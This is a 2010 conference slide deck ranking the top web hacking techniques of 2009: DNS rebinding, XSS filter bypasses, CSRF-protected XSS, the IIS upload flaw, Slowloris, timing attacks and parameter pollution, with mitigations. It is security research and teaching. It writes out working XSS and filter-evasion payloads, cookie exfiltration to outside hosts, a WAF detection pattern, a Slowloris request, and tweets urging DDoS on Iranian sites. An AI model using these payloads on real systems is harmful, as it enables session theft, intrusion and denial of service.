2010: A Web Hacking Odyssey –
The Top Ten Hacks of the Year

Jeremiah Grossman
Founder & Chief Technology Officer
Jeremiah Grossman

- WhiteHat Security Founder & CTO
- Technology R&D and industry evangelist (InfoWorld's CTO Top 25 for 2007)
- Frequent international conference speaker
- Co-founder of the Web Application Security Consortium
- Co-author: Cross-Site Scripting Attacks
- Former Yahoo! information security officer
WhiteHat Security

• 300+ enterprise customers
  • Start-ups to Fortune 500

• Flagship offering “WhiteHat Sentinel Service”
  • 1000’s of assessments performed annually

• Recognized leader in website security
  • Quoted thousands of times by the mainstream press
MUST be able to protect against HOSTILE WEB USER

MUST be able to protect against HOSTILE WEB PAGE
2006 - (65 new techniques)
1. Web Browser Intranet Hacking / Port Scanning
2. IE 7 "mhtml:" Redirection Information Disclosure
3. Anti-DNS Pinning & Circumventing Anti-Anti DNS pinning
4. Web Browser History Stealing
5. Backdooring Media Files
6. Forging HTTP request headers with Flash
7. Exponential XSS
8. Encoding Filter Bypass
9. Web Worms
10. Hacking RSS Feeds

2007 - (83 new techniques)
1. XSS Vulnerabilities in Common Shockwave Flash Files
2. Universal XSS in Adobe’s Acrobat Reader Plugin
3. Firefox’s JAR: Protocol issues
4. Cross-Site Printing (Printer Spaming)
5. Hiding JS in Valid Images
6. Firefoxurl URI Handler Flaw
7. Anti-DNS Pinning (DNS Rebinding)
8. Google GMail E-mail Hijack Technique
9. PDF XSS Can Compromise Your Machine
10. Port Scan without JavaScript

2008 - (70 new techniques)
1. GIFAR
2. Breaking GoogleGears' Cross-Origin Communication
3. Safari Carpet Bomb
4. Clickjacking / Videojacking
5. A Different Opera
6. Abusing HTML 5 Structured Client-side Storage
7. Cross-domain leaks of site logins via Authenticated CSS
8. Tunneling TCP over HTTP over SQL Injection
9. ActiveX Repurposing
10. Flash Parameter Injection

Special Thanks to the Judges

Rich Mogull
Dinis Cruz
Chris Hoff
HD Moore
Billy Rios
Dan Kaminsky
Romain Gaucher
Steven Christey
Jeff Forristal
Michal Zalewski

Ranked the submissions based upon novelty, impact, and overall pervasiveness.
DNS Rebinding (3-part series)

DNS rebinding attacks subvert the same-origin policy and convert browsers (and plug-ins, such as Flash Player and Java) into open network proxies. Attacks can circumvent firewalls to access internal documents and services, be used to scrape Web content on a mass scale, monitor users online behavior, etc.

Robert Hansen
http://ha.ckers.org/blog/20090120/persistent-cookies-and-dns-rebinding-redux/
http://ha.ckers.org/blog/20091118/dns-rebinding-for-scraping-and-spamming/
http://ha.ckers.org/blog/20091116/session-fixation-via-dns-rebinding/
How DNS Works

1. The user makes a DNS query for `somewebsite.com`.
2. The DNS resolver looks up `somewebsite.com` in its cache.
3. The cache entry has a TTL of 1 hour and the IP address is `1.1.1.1`.
4. The user's browser sends an HTTP request to `somewebsite.com`.
5. No response is received from `somewebsite.com` within the TTL.
6. The browser assumes the website may have moved and initiates another DNS query to recover.
How DNS Rebinding Works

Intranet
Wiki, HR Portal, Source Repository, etc.
10.1.1.1

HTTP Request
Block XHR Reconnect 1sec

DNS servers respond with RFC 1918 IP Address
Connect to Intranet, retrieve data, and send to 3.3.3.3
Host: badguy.com

Authoritative DNS

badguy.com
2.2.2.2
TTL 1min

Connect to Intranet, retrieve data, and send to 3.3.3.3
Host: badguy.com

dropbox.com
3.3.3.3

© 2010 WhiteHat, Inc. | Page 11
Related Work

Protecting Browsers from DNS Rebinding Attacks
Stanford Web Security Research

"By spending less than $100 on advertising, an attacker can hijack 100,000 unique IP address to send spam, commit click fraud, or otherwise misuse as open network proxies."

"Our findings suggest that nearly 90% of web browsers are vulnerable to rebinding attacks that only require a few hundreds of milliseconds to conduct."

<table>
<thead>
<tr>
<th>Technology</th>
<th>Attack Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>LiveConnect (JVM loaded)</td>
<td>47.8 ± 10.3 ms</td>
</tr>
<tr>
<td>Flash Player 9</td>
<td>192 ± 5.7 ms</td>
</tr>
<tr>
<td>Internet Explorer 6 (no plug-ins)</td>
<td>1000 ms</td>
</tr>
<tr>
<td>Internet Explorer 7 (no plug-ins)</td>
<td>1000 ms</td>
</tr>
<tr>
<td>Firefox 1.5 and 2 (no plug-ins)</td>
<td>1000 ms</td>
</tr>
<tr>
<td>Safari 2 (no plug-ins)</td>
<td>1294 ± 37 ms</td>
</tr>
<tr>
<td>LiveConnect</td>
<td>4000 ms</td>
</tr>
<tr>
<td>Opera 9 (no plug-ins)</td>
<td></td>
</tr>
</tbody>
</table>

Table 1: Time Required for DNS Rebinding Attack by Technology (95% Confidence)

Web spammers want content to steal and targets to attack. So they scrape search engines by sending massive amounts of traffic.

Easy to detect and thwart by user CAPTCHAs and IP block (if the machine subset is small enough)

User unknowingly escapes content or attacks other websites and sends results to bad guy
... for Session Fixation

Login and get valid session cookie

Send session cookie

User is logged in under the bad guy's account

Set badguy's cookie from goodguy

DNS Rebind to goodguy
Why is this useful?

Monitor search terms a user is submitting via the save search history feature (i.e. Yahoo and Google).

Trick users into enrolling their credit card into an attacker's account. After which, the attacker can transact on the credit card. (i.e. Amazon or PayPal)

Reference authenticated content from trusted domain to perform Flash specific attacks (“YouTube viewing history”).
Solutions (sort of)

To combat intranet hacking, DNS resolvers (enterprise and home routers) could be configured to prevent external names from resolving to RFC 1918 addresses.

Websites / Virtual Hosts should respect the Host header

DNSSEC provides no protection against DNS rebinding. Attacker can legitimately sign all DNS records provided by their authoritative DNS in the attack.

SSL helps, but only if the user does not click through the warning.

NoScript (ABE)
RFC1918 Caching Security Issues

Intranets are to be protected by perimeter firewalls and other network devices. Unfortunately, non-publicly-routable address space is also often used as a primary method of protection. There exist a number of flaws, including some Web-related, that can be exploited by an adversary because of the use of well known non publicly-routable IP address spaces.

10.0.0.0 - 10.255.255.255 (10/8 prefix)
172.16.0.0 - 172.31.255.255 (172.16/12 prefix)
192.168.0.0 - 192.168.255.255 (192.168/16 prefix)

Robert Hansen
Day 1: Snaring the victim

Public Wifi

- Victims
- Bad Guy
- Airpwn
- Victims
- Internet
- HTTP
- coffee shops, airplanes, corp guest networks

- Victim(s) located on a RFC 1918 network with a Bad Guy
- Bad Guy may take the opportunity to read victim’s Web mail, steal creds, etc.
- Bad Guy man-in-the-middles HTTP (Airpwn) to inject IFRAMEs to RFC-1918 IPs
- MitM IFRAMEs to include JavaScript malware (BeEF). Or ...
- Inject JavaScript malware into popular Web widget URLs. (Ad servers, counters, etc.)
- Cache content in the browser for a really long time, beyond current session!

http://www.bindshell.net/tools/beef/
http://airpwn.sourceforge.net/Airpwn.html

© 2010 WhiteHat, Inc. | Page
“Most security experts would say once a man in the middle attack is in progress there is little point discussing the issue further, because the user is already completely compromised. While this is somewhat true, it doesn't necessarily give the attacker what they are interested in.”

“the user's home network or work network”
Day 2: Stealing Data

Intranet / Private Wifi

- Victim(s) relocates to another RFC 1918 with the same IP ranges (collision)
- Bad Guy waits patiently
- As victim connects to Bad Guy’s previously cached public and/or private URLs laced with JavaScript malware, it executes!
- JavaScript malware transfers data from impacted IP/Domain to an off-network location
Solutions (some better than others)

Do not use explicit IP addresses to connect, respect Host headers, and use fully qualified but internal domain names. Attackers must have prior internal knowledge.

Using SSL/TLS on internal devices cause mismatch errors if the attacker attempted to cache JavaScript over HTTPS.

Disable scripting and dynamic content from the browser. (NoScript)

Removing persistent cache regularly, or upon the change of any routing information at the operating system level.
Our Favorite XSS Filters and How to Attack Them

Filter-evasion techniques have been used, are being used, and could be used in the future to bypass, exploit and attack some of the most advanced XSS filters. These include the IE8 XSS Filters, browser addons (NoScript), server-side IDSs (ModSecurity, PHP-IDS), and human log-review. Innovative techniques will be discussed that expand the scope of what is generally believed about XSS filters.

Eduardo Vela (sirdarckcat)
David Lindsay (thornmaker)

HTML/JavaScript Filters

Attacker controls dynamic content in HTTP response, e.g. HTML, CSS, JavaScript, etc.

Classic examples:

"&lt;script&gt;alert(0)&lt;/script&gt;
"&lt;img src="x:x" onerror="alert(0)"&gt;
"&lt;iframe src="javascript:alert(0)"&gt;

http://ha.ckers.org/xss.html
http://www.owasp.org/index.php/Cross-Site_Scripting
HTML Filter-Bypass Tricks

No white space
<img/src="mars.png"alt="mars">

Round about way to assign the src parameter or avoid "src" altogether
<object><param name="src" value="javascript:alert(0)"></param></object>
<object data="javascript:alert(0)">

The little known isindex tag
<isindex action="javascript:alert(1)" type=image>

Content served as text/xml and text/xml-xhtml can execute JavaScript by using html and xhtml namespaces
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>
JavaScript Tricks

Payload comes after hash in URL and avoids the #:
location=location.hash.slice(1);
location=location.hash;

All equivalent:
alert(document.cookie)
alert(document['cookie'])
with(document)alert(cookie)

When attacker controls referrer page:
eval(document.referrer.slice(10));

Execute arbitrary code without quotes or parenthesis
x setter=eval,x=1
More JavaScript Tricks

No alphanumeric characters can execute arbitrary JavaScript:
See the alert(1)?

(É=[[Å=[]],μ=!Å+Å][μ[È=---+++Å]+(}+Å) [Ç=!Å+μ,α=Ç[Å]+Ç[+!Å,Å]+α])()
[μ[Å]+μ[Å+Å]+Ç[È]+α](Å)

($)=[{$=[]}([___=!$+$_][_=-~]}+(}+$_)[/]]+($$=($_=!)"
+_($)[/]+$_[+]($])())([___/]+___[+]$]+$_[+]$$](__)

Executes function without using () or =
""+{toString:alert}
""+{valueOf:alert}
Future Tricks

HTML5 will allow attributes in closing tags
</a onmousemove="alert(1)">

HTML5 includes "seamless" iframes, may allow pure css-based attacks
<style>input[name=password][value*=a] {
  background:url('http://attacker?log[]=a');
}</style>
<iframe seamless src="login.asp"/>
And a few more tricks...

Data protocol handler:
data:text/html,<script>alert(0)</script>
data:text/html;base64, PHNjcmIwdD5hbGVydgKTwvc2NyaXB0Pg==

Concatenated HPP
?injection=<script+&injection=>alert(1)></script>

XML inside JavaScript
<script>var m=<html><a href="//site">link</a></html></script>

JavaScript inside XML evaluated as JavaScript
<html><title>{alert('xss')}\</title></html>
ModSecurity

Web Application Firewall, Open Source, Apache Module:

First phase – must match one of these keywords:
@pm jscript onsubmit copyparentfolder javascript meta onmove onkeydown onchange onkeyup activexobject expression onmouseon vbscript onclick ecmascript onmouseover onmouseout onmousemove onkeypress onkeydown activexobject expression onmouseon vbscript onclick ecmascript onmouseover onmouseout onmousemove

Second phase – must match this regular expression:
(?::b(?:(?:type|b)\W*\b(?:text|b)\W*\b(?:j(?:ava)?|ecma|vb)|application\b\W*\b\bx-(?:java|vb)) script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder|iframe\b.{0,100}?\bsrc) \b|on(?:?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:?:hange|lick)|\bs(?:?:lowsrc\b\W*\b(?:(?:java|vb)script|shell|http)|ivescript)|(?:href|url)\b\W*\b(?:java|vb)script|shell|http\b(?!\b| x-javascript mocha: onfocus javascript: getparentfolder lowscc ononresize @import alert ononselect script onoumoseon mousedown background application .execscript livescript: getspecialfolder vbscript iframe .addimport ononunload createtextrange onload <input
ModSecurity Bypass

Will catch:
`<img src="x:gif" onerror="alert(0)">`

but miss these:
`<img src="x:alert" onerror="eval(src%2b'(0)')">`
`<img src="x:gif" onerror="eval('al%2blert(0)')">`
`<img src="x:gif" onerror="window[\'al\u0065rt\'](0)">`</img>

Will catch:
`";document.write('<img src=http://d.tld/x.png?'%2bdocument.cookie%2b'>');"`

but miss:
`";document.write(''<img src=http://p42.us/x.png?'%2bdocument[\'cookie\']%2b'>');"`
PHP-IDS

Open Source, PHP, Web Application Firewall Framework, “Scored”:

\[ \text{x=eval} \]
\[ \text{y=name} \]
\[ \text{x(y)} \]
Injection Found! Overall Impact: 12

\[ \text{$$='e'} \]
\[ \text{x='ev'}+'al' \]
\[ \text{x=this[x]} \]
\[ \text{y='nam'}+$$ \]
\[ \text{y=x(y)} \]
\[ \text{x(y)} \]
Injection Found! Overall Impact: 37
PHP-IDS (more scoring)

```php
$$='e'
x='ev'+\'al'
x=this[x]
y='nam'+$$
y=x(y)
x(y)
Injection Found!  Overall Impact: 37

$$='e'
x=$$+\'val'
z=(1)[\'__par__\'+\'ent__\']
x=z[x]
y=x('nam'+e)
x(y)
Injection Found!  Overall Impact: 62
```
PHP-IDS Bypass

```php
__="
$$=__+'e'
__=__+'__par'
_=$$+'val'
x=1+[]
z=$$+'nt__'
x=x[__+z]
x=x[]
y=x('nam'+$$)
x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...'
Nothing suspicious was found!
```

Other recent bypasses:
`<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>`

`this[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+name,new Array)`
Exploiting Unexploitable XSS

Cross-Site Scripting (XSS) vulnerabilities that are protected by CSRF tokens, or other mitigating factors, and often considered of limited exploitability. However, under some real-world conditions, it may be possible exploit “unexploitable” XSS, including on Google and Twitter. Similar techniques could apply to other websites as well.

Stephen Sclafani
http://stephensclafani.com/2009/05/26/exploiting-unexploitable-xss/
What is “Unexploitable” XSS?

A condition where a website is technically vulnerable to XSS, not properly encoding output, but for some reason it cannot be used maliciously against another user -- only against itself.

Examples
1) Injection point is located in a place where a cross-domain HTTP request cannot modified the user-supplied data (Cookies, User-Agent, etc.)

2) Vulnerable functionality is protected by CSRF tokens or CAPTCHAs (post-login).
Converting Cookie-based XSS to persistent

Consider an online bank with an XSS through a username Cookie parameter. After successful login the resulting page reads something like, "Hello Foo!"

Cookie: username=

Loading an XSS payload into a cookie value with a cross-domain HTTP request is impossible, unless leveraging a browser vulnerability, and therefore is “unexploitable.”

However, if another XSS exists (non-persistent), inject JavaScript malware into the browser’s Cookie username parameter via document.cookie. Now every time the victim logs-in the JavaScript will execute and becomes persistent over multiple sessions.

Exploiting CSRF protected XSS on Google

Google has many services across different domains and subdomains and requires SSO-like authentication with a users Google Account.


When a user is logged-in to their Google Account, redirects to:
https://www.service.com/start?pli=1&auth=DQAAAIMAAABROiyjL2nUD6sZ4Omv0XwlXwzfVN_T9nrBQqkaIGYy2zPVQBDwxnAQebLKo6RObLpWBTnh_Xz1pwjKvElj7U0S-jS4eg9jWPvl3NJBuOcJw1Fc3W5PalA9EWrdbpT41RtxL8PDs7KQKNxFyAi6LkPG1XyMqcyFWREAuOF7RnV7E08Arv8aYvVvYuLTtg

When the auth URL is loaded, the service uses the auth token to log-in the user. No verification was done between the service and Google to ensure the account the member was logged-in to was theirs. It was possible for an attacker to generate an auth URL for their account at a service and to use it to log a member in without affecting the member’s Google Account session.

http://kuza55.blogspot.com/2008/02/exploiting-csrf-protected-xss.html
CSRF protected XSS on Google Sites

The “Google Sites User Settings” page has a user settings value used in a javascript function unsanitized. An attacker could submit a setting with a value breaking out of the function and inject javascript into the page. Since the User Settings form is protected against CSRF, this was a self-only XSS. However, with the ability to log a member into an account and back the attacker could exploit this issue as if it was a full blown reflected XSS.
Twitter: CSRF protected XSS w/ “Remember Me”

On every Twitter page a user’s language preference is used as a variable in the Google Analytics code. If a language preference was not set, an attacker could set it temporarily with the URL where it would be used unsanitized:

http://twitter.com/?lang=<xss_payload>

However, setting any profile setting also sets a language preference, which most Twitter users do after registering. But, Twitter did not have CSRF protection on its login page.

Would have been possible for an attacker to exploit the XSS by logging a victim into an account that had not yet had its language preference set. However, the login CSRF destroys a users session. *unexploitable*
Twitter’s “Remember me” feature remembers a user’s session after browser shutdown. Twitter set a unique persistent cookie in addition to the session cookie. If an attacker used a login CSRF attack against a victim who used “Remember me”, the session would be overwritten but their “Remember me” cookie would not be. The attacker could then exploit the XSS and log the user back in.
Solutions

1) Output filtering for ALL XSS, even on hard-to-exploit functionality

2) Add CSRF protection on login forms

3) CSRF token mitigation must be session-specific:
"The implementation of many sites CSRF protection, including the majority of Google services, tie the CSRF token to a member’s account but not to an account’s specific session. Making the token compatible across sessions of the same account."

Implementation Examples:
OWASP CSRF-Guard
ModSecurity CSRF using Content-Injection: Inject JavaScript into selected responses and add a unique token appended to subsequent requests and validated. CSRF token is tied to the current SessionID.

http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project
Microsoft IIS 0-Day Vulnerability
Parsing Files (semi-colon bug)

IIS can execute any extension as an Active Server Page or any other executable extension. For instance “malicious.asp;.jpg” is executed as an ASP file on the server. Many file uploaders protect systems by checking only the last section of the filename as its extension. By using this vulnerability, an attacker can bypass this protection and upload dangerous executable files on the server.

Soroush Dalili
Prerequisites

Vulnerable Microsoft IIS
Website must save user-supplied uploads to a Web servable location with “execute” permissions.

Vulnerable Web Application
Many Web applications only perform a filename extension check on user-supplied uploads (*.jsp, *.doc, *.pdf, etc).

Attack
Upload an ASP file “anything.asp;.jpg”, satisfying the filename check, but will be passed to “asp.dll” for execution.

Note: This bug does not work with ASP.Net as the .Net technology cannot recognize “malicious.aspx;.jpg” as a .Net file and shows a “page not found” error.
Solutions (pretty good)

Use a random string as a filename and set its extension

Remove “execute” permission from the upload directories

**ModSecurity**

@inspectFile operator allows dumping of files to a temp on disk for scans (AV, etc...). Identify what files actually are, regardless of file extension.

Blacklist / Whitelist regex on the FILES_NAMES variable to block semi-colon/colon characters.


[http://www.modsecurity.org/documentation/modsecurity-apache/2.5.12/modsecurity2-apache-reference.html#N10F38](http://www.modsecurity.org/documentation/modsecurity-apache/2.5.12/modsecurity2-apache-reference.html#N10F38)
Slowloris HTTP DoS

A slow denial of service attack against particular services, rather than flooding networks, where a single machine could take down another machine's Web server with minimal bandwidth and side effects on unrelated services and ports. Ideally all other services remain intact but the Web server itself is inaccessible.

Robert Hansen

Additional credit to:
Adrian Ilarion Ciobanu
Ivan Ristic

http://ha.ckers.org/blog/20090617/slowloris-http-dos/
How Slowloris works

• Hold a connection open by initiating partial HTTP requests and send headers at regular intervals to keep the sockets from closing.
• Continue initiating similar partial HTTP requests so when sockets currently being used by other users are freed up they can be taken over.
• Once all available sockets are consumed, often no more than a few hundred requests, the Web server is effectively DoS’ed.
GET / HTTP/1.1
Host: spoofed.com
User-Agent: Mozilla/4.0 ...
Connection: Keep-Alive
Range: bytes=0-10
X-a: b

- Low bandwidth (~4K packets + 1K packets per min)
- Low CPU on the attackers machine
- Doesn't work on websites behind load balancers
- Apache, not IIS, is the major affected Web server

Ideal for attacks requiring only a brief amount of downtime...
Example Use-Cases

Auctions
To help prevent being outbid, many bidders will submit bids as close to the close deadline as possible to prevent competitors the time to revise. An “attacker” submits a bid early, then uses the Slowloris attack to DoS the website temporarily until the deadline passes and preventing competitors from every having the chance to bid.

Reconnaissance
An attacker may purposely trigger an “incident” to scope reaction procedures. By causing a DoS, the target may fail over to a secondary site used during outages that are “less” secure.

Extortion
Online gambling websites, among other, are constantly doing battle against attackers with vast botnet resources. Attackers will demand to be paid some amount of money by their victims or risk their website being disabled via a mass DDoS attack. Slowloris makes this attack feasible for the lesser sophisticated.

Or for geo-political purposes...
Iran in Turmoil

Rigging Indicators

Impossible Tallies
The closest you can get to a smoking gun: vote tallies should be less than or equal to the number of eligible voters.

Logical Anomalies
Candidates fail to win (or to even do well) in their home districts, especially where their ethnicity should help.

A Break With Polls
Election returns are widely inconsistent with recent reliable, thorough polling data, assuming it exists.

Reversals of Fortune
Compared with a recent earlier contest, parties and candidates experience a big swing in popularity.

Fishy Digits
Fair vote tallies have a reliably even distribution of digits. Phony numbers made by humans do not.

Late Comebacks
If results are released on a rolling basis, you can tell if a panicked party starts stuffing ballot boxes.

Hasty Verdicts
When voting is electronic, results come fast. But with paper ballots, a speedy victor is suspicious.

Did It Happen in Iran?

Yes: After an investigation, Iran’s senior panel of election monitors said Monday that in 50 cities, the number of votes cast exceeded the actual number of voters.

Yes: Mir Hossein Mousavi, an Azeri, lost East Azerbaijan. Mehdi Karroubi won 5 percent of his home district, a notch of his 2005 result.

No: One poll put Mahmoud Ahmadinejad up 2-1. But that was pre-debates, and most respondents refused to say who they’d vote for.

Yes: Despite economic woes, reformists did more poorly than in 2005. Ahmadinejad won in previously hostile Tehran Province.

Unclear: Statisticians need precinct-level data to run their models, and Iran’s rulers are unlikely to release that information.

Unclear: Again, not enough data. If Iran’s rulers rigged the vote, they did it right at the start of announced returns.

Yes: The Interior Ministry declared victory for Ahmadinejad two hours after polls closed; results were authorized immediately.
PAGE REBOOT allows you to continually refresh any website.

Refresh [http://](http://)

**Bookmarks**

Drag the following link to your bookmarks bar and click on the bookmarklet, the current page will refresh automatically.

PAGE REBOOT bookmarklet

---

**Top Ten Web Hacking Techniques (2009)**

quinnelk: PLS RT @joshkoster We've almost crashed Iran's state controlled media website. Lets finish the job: [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection
about 7 hours ago from flapprogressives.com · Reply · View Tweet

sarahburris: @joshkoster *PLS RT* We've almost crashed Iran's state controlled media website. Lets finish the job: [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection
about 7 hours ago from web · Reply · View Tweet

mattytron: RT @iBurt: May be 1000s of miles away, but I can @ least help crash the Iranian state media site! [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection
about 7 hours ago from TweetDeck · Reply · View Tweet

PeoriaPundit: RT @joshkoster: We've almost crashed Iran's state controlled media website. Lets finish the job: [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection
about 7 hours ago from web · Reply · View Tweet

iBurt: May be 1000s of miles away, but I can @ least help crash the Iranian state controlled media website! [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection
about 7 hours ago from web · Reply · View Tweet

HumanFolly: RT @joshkoster: We've almost crashed Iran's state controlled media website. Lets finish the job: [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection
about 7 hours ago from web · Reply · View Tweet

stephenesherman: RT stacieboschma Help crash Iran's state media website. Open this auto-reloader: [http://tinyurl.com/kpa94e](http://tinyurl.com/kpa94e) (expand) #iranelection It's working! :)
about 7 hours ago from web · Reply · View Tweet

© 2010 WhiteHat, Inc. | Page 50
Do not use this dDoS tool, use Slowloris instead.

Do not do a conventional ddos attack on Iranian targets, as this wastes bandwith needed by ALL Iranians. Rather, use something like Slowloris which can take down http servers without using much bandwith at all:

**Slowloris HTTP DoS**

This code just hit the wild and should still be quite effective... It was slashdotted earlier today.

---

Brand new technique / tool to bring down ah nej's sites without ruining bandwidth for the iranian rebels [http://ha.ckers.org/slowloris/](http://ha.ckers.org/slowloris/)
So slashdot... (Score:5, Funny)
by santax (1541065) on Friday June 19, @10:22AM (#28389621)

DannnHunn: slowloris is an interesting beast.

muddletoes: slowloris is an interesting beast.

muddletoes: slowloris is an interesting beast.

I kinda think slowloris is an interesting beast.

Note, I do know about slowloris.

Buttfungus: @daVidG82 RT URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in" wanted list" http://bit.ly/aareA (expand) #iranelection #Neda

AlikandraLove: RT URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in" wanted list" http://bit.ly/aareA (expand) #iranelection #Neda

xtarastar: RT URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in" wanted list" http://bit.ly/aareA (expand) #iranelection #Neda #Tehran

daVidG82: RT URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in" wanted list" http://bit.ly/aareA (expand) #iranelection #Neda #Tehran

Dominique2dr: RT @SashaKane URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in wanted list http://bit.ly/aareA (expand) #iranelection #Neda

vizcut: RT URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in" wanted list" http://bit.ly/aareA (expand) #iranelection #Neda

OwIAmerica: RT URGENT ANYONE USING "SLOWLORIS" TAKE DOWN THIS SITE showing protesters in" wanted list" http://bit.ly/aareA (expand)
Solutions (not necessarily recommended)

Switch Web Servers (Microsoft IIS)

Use a proxy with a worker pool model

Performance Monitoring
Identify clients with open TCP sockets, but never send Layer-7 data. Apache, decrease the default Timeout settings (300) to 5-10 secs.

Fix Apache

DoS

The "slowloris" script is not a new attack. But by demonstrating the attack and giving it a personality, it has drawn attention to a significant weakness in Apache HTTPD. We need a response to that, with information on risks and mitigation for server admins.

Mitigation is the wrong approach.

We all know our architecture is wrong.

We have started on fixing it, but we need to finish the async input rewrite on trunk, but all of the people who have hacked on it, myself included have hit ENOTIME for the last several years.

Hopefully the publicity this has generated will get renewed interest in solving this problem the right way, once and for all :)

It doesn't need to be the simple mpm, or the event mpm, its not even about MPMS, its about how the whole input filter stack works.

So.. i write yet another email about it... and disappear in the ether of ENOTIME once again.....

-Paul
Cross-Domain Search Timing

As a basic tenet of the way the Web works, any websites can include content from any other website. By extension, a malicious website can read timing information from any other domain. By combining the similarities of a CSRF attack, a malicious website can determine useful bits of information about a user’s session-state upon their visit.

Chris Evans

Hosted on attacker.com...

```html
<img src="target.com" onload="timer()" onerror="timer()">
```
Browser Login Detection

For mail.yahoo.com, use search box functionality to query “nosuchterm1234”, “sensitive”, “the”, etc.

https://cevans-app.appspot.com/static/ymailtimings.html
Example Use-Case

WebMail Inbox Search: Ask a yes or no question from the user’s inbox via a search request.

e.g. "Has the victim ever mailed X?", "If so, within the past day?", "Does the word earnings appear in the last week?", "What about the phrase 'earnings sharply down'?" etc.
Solutions (annoying)

Web users should get in the habit of logging out of any system carrying what they believe is sensitive information.

CSRF tokens on ALL “sensitive” functionality.
Flickr's API Signature Forgery (MD5 extension attack)

Flickr, an extremely popular online photo management website, had a vulnerability in the signing process that allows an attacker to generate valid signatures without knowing the shared secret. By exploiting this vulnerability, an attacker can send valid arbitrary requests on behalf of any application using Flickr's API. When combined with other vulnerabilities and attacks, an attacker can gain access to accounts of users who have authorized any third party application.

Thai Duong
Juliano Rizzo

http://netifera.com/research/
HTTP Parameter Pollution (HPP)

HTTP Parameter Pollution gives new insight into a previously little explored area of Web application attack. For example, if an attacker were to submit multiple input parameters (query string, post data, cookies, etc.) of the same name, the application may react in unexpected ways and open up new avenues of server-side and client-side exploitation.

Luca Carettoni
Stefano diPaola

When Web applications receive multiple parameters with the same name...

GET /foo?\texttt{par1=val1}&\texttt{par1=val2} HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*

\texttt{par1=val1}&\texttt{par1=val2}

POST /foo HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*

\texttt{par1=val1}&\texttt{par1=val2}

POST /index.aspx?\texttt{par1=val1}&\texttt{par1=val2} HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Cookie: \texttt{par1=val3}; \texttt{par1=val4}
Content-Length: 19

\texttt{par1=val5}&\texttt{par1=val6}
### Bizarre behavior

<table>
<thead>
<tr>
<th>Technology/HTTP back-end</th>
<th>Overall Parsing Result</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASP.NET/IIS</td>
<td>All occurrences of the specific parameter</td>
<td>par1=val1,val2</td>
</tr>
<tr>
<td>ASP/IIS</td>
<td>All occurrences of the specific parameter</td>
<td>par1=val1,val2</td>
</tr>
<tr>
<td>PHP/Apache</td>
<td>Last occurrence</td>
<td>par1=val2</td>
</tr>
<tr>
<td>PHP/Zeus</td>
<td>Last occurrence</td>
<td>par1=val2</td>
</tr>
<tr>
<td>JSP, Servlet/Apache Tomcat</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>JSP, Servlet/Oracle Application Server 10g</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>JSP, Servlet/Jetty</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>IBM Lotus Domino</td>
<td>Last occurrence</td>
<td>par1=val2</td>
</tr>
<tr>
<td>IBM HTTP Server</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>mod_perl, libapreq2/Apache</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>Perl CGI/Apache</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>mod_perl, lib???/Apache</td>
<td>Becomes an array</td>
<td>ARRAY(0x8b9059c)</td>
</tr>
<tr>
<td>mod_wsgi (Python)/Apache</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>Python/Zope</td>
<td>Becomes an array</td>
<td>['val1', 'val2']</td>
</tr>
<tr>
<td>IceWarp</td>
<td>Last occurrence</td>
<td>par1=val2</td>
</tr>
<tr>
<td>AXIS 2400</td>
<td>All occurrences of the specific parameter</td>
<td>par1=val1,val2</td>
</tr>
<tr>
<td>Linksys Wireless-G PTZ Internet Camera</td>
<td>Last occurrence</td>
<td>par1=val2</td>
</tr>
<tr>
<td>Ricoh Aficio 1022 Printer</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>webcamXP PRO</td>
<td>First occurrence</td>
<td>par1=val1</td>
</tr>
<tr>
<td>DBMan</td>
<td>All occurrences of the specific parameter</td>
<td>par1=val1~val2</td>
</tr>
</tbody>
</table>
CUPS Help Pages

This is the CUPS on-line help interface. Enter search words above or click on any of the documentation links to display on-line help information.

If you are new to CUPS, read the "Overview of CUPS" page. Veteran users should read the "What's New in CUPS 1.3" page.

The CUPS Home Page also provides many resources including user discussion forums, answers to frequently-asked questions, and a form for submitting bug reports and feature requests.
Top Ten Web Hacking Techniques (2009)

The CPAN Search Site - search.cpan.org - Mozilla Firefox

Home | Authors | Recent | News | Mirrors | FAQ | Feedback

http://search.cpan.org/search?query=test&mode=all&query=home

Array
a complete array class
Class-Maker 0.05.18 - 12 Sep 2003 - Murat Unalan

Results 1 - 1 of 1 Found
DBMan encountered an internal error.

CGI ERROR

Error Message: Debug Information
